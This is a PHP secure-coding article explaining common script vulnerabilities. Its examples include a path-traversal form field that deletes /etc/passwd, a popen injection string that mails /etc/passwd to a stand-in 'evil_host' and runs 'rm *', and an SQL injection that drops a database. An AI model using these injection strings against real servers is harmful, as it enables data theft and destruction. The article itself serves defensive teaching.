On the Security of PHP - Part 1

PHP has achieved a stable and solid presence on the Web in the last several years, and its popularity as a server-side scripting language is only increasing. Its primary use is for providing dynamically generated interfaces between Web users and the host. As such, PHP scripts fall a natural prey to many Internet attacks. Despite the fact that the language is designed with security in mind, a familiarity with its more dangerous aspects and conformance to common secure programming guidelines is essential to minimizing the possibility of security compromises. The aim of this document is to provide an overview of various security issues with PHP and to offer advice on secure PHP programming practices. Introduction

PHP (PHP Hypertext Preprocessor) is a server-side scripting language that facilitates the creation of dynamic Web pages by embedding PHP-coded logic in HTML documents. It combines many of the finest features of Perl, C, and Java, and adds its own elements to the concoction to give Web programmers great flexibility and power in designing and implementing dynamic, content-oriented Web pages. As with any powerful tool however, there are certain risks and dangers associated with the use of PHP. This article aims to alert the reader of such subtle details of the language. By being aware of the risks and observing some simple secure programming rules, it is possible to significantly lower the risk of security compromises. Regardless of its mode of execution, the PHP interpreter has the potential to access virtually every part of the host -- the file system, network interfaces, IPC, etc.

In the following sections, we will identify a number of causes that commonly lead to violations of the security of PHP scripts and ultimately the systems on which these scripts are executing. We will then develop some guidelines for strengthening the security of PHP and for writing secure code. Web developers and system administrators should keep in mind, however, that these guidelines only identify some practices that can reduce the risk of security compromises. There isn't a definite omnipotent solution to all security problems, and in fact, the very concept of a system that is in a fully secure state is rather ethereal. Instead, security should be viewed as an evolving process, requiring constant supervision. This article provides a basis for understanding the security issues related to PHP and gives a broad overview of the topic. Sources of Security BreachesPHP can be run as either a CGI application or as an integrated Web server module. Regardless of its mode of execution, the PHP interpreter has the potential to access virtually every part of the host -- the file system, network interfaces, IPC, etc. Consequently, it has the potential to do (or be forced to do) a lot of damage. To prevent attacks from adversaries, the programmer needs to be aware of everything that can go wrong at any time during the program execution. This is a formidable task. Software gets very complicated very fast. Nevertheless, knowledge of the weaknesses of a system and the common modes of attack can go a long way toward increasing its security. This applies to PHP just as much as it applies to any other piece of software. Therefore, in this section we will examine various sources of potential security vulnerabilities in PHP scripts and will draw some generalized conclusions. We will use this information in a later section to develop a set of guidelines for secure PHP programming. Trusting User InputThe most common and most severe security vulnerabilities in PHP scripts, and indeed in any Web application, are due to poorly validated user input. Many scripts use information that the user has provided in a Web form and process this information in various ways. If this user input is trusted blindly, the user has the potential to force unwanted behavior in the script and the hosting platform.

To make things worse, PHP registers all kinds of external variables in the global namespace. Environment variables for example are simply accessible by their name from anywhere within a script. So you can just peek at $HOSTNAME and $PATH for such pieces of information. Field tag names submitted from GET or POST forms are also accessible in the same manner. There are several problems with this. First, there is really no way to ensure that those external variables contain authentic data that can be trusted. (The next section discusses this in greater detail.) Second, due to the habit of PHP to make everything globally available, no variable can be trusted anymore, whether external or internal. Indeed, imagine the following scenario: $tempfile = "12345.tmp";

```
...
# do something with $tempfile here
# and some form processing
...

unlink ($tempfile);
```

Even if you handle $tempfile safely before unlinking it, the last statement is still very dangerous. An attacker can craft his or her own form containing a field similar to: <input type=hidden name="tempfile"
value="../../../etc/passwd">

PHP will insert the field name in the global namespace as $tempfile, thus overwriting the original value of the variable. Later, we will consider a way to protect against this kind of attack by configuring PHP not to make external variables globally available. Trusting Environment Variables

When you type "ls" at the UNIX prompt, the shell goes through a list of directories looking for a program called "ls". As soon as it finds it in some location, like /bin, for example, the shell executes the program and waits patiently for it to return. The list of directories in which the shell looks for the program is specified in an environment variable, usually $PATH. Similarly, when you include() or require() a file from a PHP script, the system will search for it in a specified list of directories; the environment variable $LD_LIBRARY_PATH specifies a path for dynamically loaded libraries, etc.

The script does not have control over the content of environment variables at the moment it starts executing. An adversary can modify the path to point to a Trojan version of the program that is being called or the file that is being included. This is an easy way for attackers to get hostile code running on the system.

Some sites restrict access to content based on the link from which the user arrived. They use the $HTTP_REFERER variable to determine this. But since the information comes from the browser, there is nothing to stop the user from assigning it an arbitrary value. Such forms of "authentication" are very unreliable. The most direct illustration of damage inflicted by unvalidated user input is probably the execution of external programs with user-specified names or arguments.

Even if the information does not come from the user, environment variables still cannot be trusted. On most Unix systems, the environment variables are stored at the bottom of the system stack. Now, PHP does its own automatic dynamic memory management, so there isn't really a risk of buffer overflows in PHP scripts. But an attacker can still exploit some other piece of software that is running on the server to gain access to the stack. Because of the way the stack is structured, they can now overwrite the values of environment variables. Consequently, the PHP script that blindly relies on those variables is no longer secure.

From a security perspective, environment variables and user input data really aren't very different. They all represent data of unknown origin that may be hostile. Therefore, their use should be minimized whenever possible and their content examined and filtered the rest of the time. A good practice is to redefine all environment variables that will be used in the script before actually using them. This is not always possible, but does help offer a somewhat higher degree of confidence in their content. Calling External Programs

The most direct illustration of damage inflicted by unvalidated user input is probably the execution of external programs with user-specified names or arguments.

Clearly, a call like system($userinput) is insecure because it allows the user to execute arbitrary commands on the host. Furthermore, a call like exec(``someprog'', $userargs) is also insecure because the user can supply characters that have special meaning to the shell. A semicolon in the arguments for instance will signify the end of the first command and the beginning of another. Since PHP always passes such strings through the shell, they are always dangerous. This includes calls to system(), exec(), popen(), backticks, etc.

The following is a real-world example of insecure popen() calls, coming from an actual freely distributed Web application:

```
 function Send($sendmail = "/usr/sbin/sendmail") {
 if ($this->form == "") {
  $fp = popen ($sendmail."-i".$this->to, "w");
 }
 else {
  $fp = popen ($sendmail."-i -f".
        $this->from." ".$this->to, "w");
 }
}
```

The variable $this->from comes directly from a form field, where whoever is sending the message types in their e-mail address. Since this input is not validated in any way, the user can trick the script into doing all sorts of bad things with input similar to this: dummy@dummy.com badguy@evil_host.com < /etc/passwd; rm *;

If they're more creative, they can probably even craft a whole worm or a virus and inject it through this gate.

The solution is to carefully filter all user input before passing it through the shell. Later, we will consider some ways to do this in PHP. Database Interactions

PHP makes interactions with many different databases very easy from within a script. Just like interacting with other programs through the shell, however, this can be a security problem. Too often PHP scripts use input from a Web form to construct SQL query strings. mysql_db_query ($DB, "SELECT something

```
        FROM table
 WHERE name=$username");
```

In this example, the user can use a semicolon in the input to end the current query and supply arbitrary commands to the database. The input ";drop db database" will expand to the query string "SELECT something FROM table WHERE name=;drop db database", which will result in an error (because the first part of the query is now invalid) followed by a successful drop of the entire database.

The script privileges can be adjusted to limit the damage it can do on the database, but this does not fully remedy the problem, since the user can still do queries to extract sensitive information. If user input needs to be supplied to the database, the input must first be examined and filtered for dangerous metacharacters, as we will show later. URL Includes and Opens

PHP generalizes the concept of a file to include that of a URL for some purposes. In PHP, you can do things like: include ("http://some.site.com/some_script.php");

It will know to fetch the file from the location and include it in your script. You can also open remote files for reading the same way. This can be potentially dangerous, since there is a possibility that the remote site is compromised or the network connection is spoofed. In either case, you are injecting unknown and possibly hostile code directly into your script with an include() like that. Depending on what you do with the file, an fopen() from a remote location can be just as dangerous. Of course constructs of the type include(``$userinput'') are yet another problem, similar to those discussed in previous sections.

If not absolutely necessary, this feature of PHP is best disabled. The allow_url_fopen configuration directive in php.ini controls this behavior. Vulnerabilities in the Interpreter

PHP itself has had a number of security vulnerabilities at different stages of its development.

PHP3 and some versions of PHP4 have been found vulnerable to format string attacks in their logging functions, for instance. Those versions of PHP employ calls to the C functions syslog() and vsnprintf() in order to do their logging (when logging is enabled, that is). The problem is that PHP passes the log message directly as the format string to those functions, and it is very possible that the log message contains user input. An attacker can utilize this to remotely compromise PHP-enabled servers that still run this code, unless those servers have disabled the logging of PHP errors and warnings.

The way PHP handles user-uploaded files can also be problematic. The reason for this is that PHP will define a global variable that has the same name as the file input tag in the submitted Web form. PHP will then create this file in a temporary directory and store the upload there, but it will not check whether the filename is valid. An attacker can craft his or her own form specifying the name of some other file and submit it. PHP will then process that other file, which may contain sensitive information. Thus, the script should always check explicitly whether the upload filename variable contains a valid path to a temporary file. Newer versions of PHP (after 4.0.3RC1 and after 3.0.17RC1 for PHP3) provide a function is_uploaded_file($path) that makes it easy to check for this.

Hosts running PHP should follow security advisories related to the product and upgrade to the latest recommended version of PHP promptly after security fixes have been released.

In Part 2 next week, I'll wrap up our look at PHP security with some advice on programming guidelines, filtering user input, and configuration settings.

Note: Thanks to 1LT John W. Holmes and George Adams for pointing out that versions of PHP newer than 3.0.6 do not allow issuing multiple queries to SQL databases. This makes database interactions safer, although filtering input data is always advised. About the AuthorJordan Dimov is a consultant for Cigital Inc. in Dulles, Va., and a member of Cigital's Software Security Group.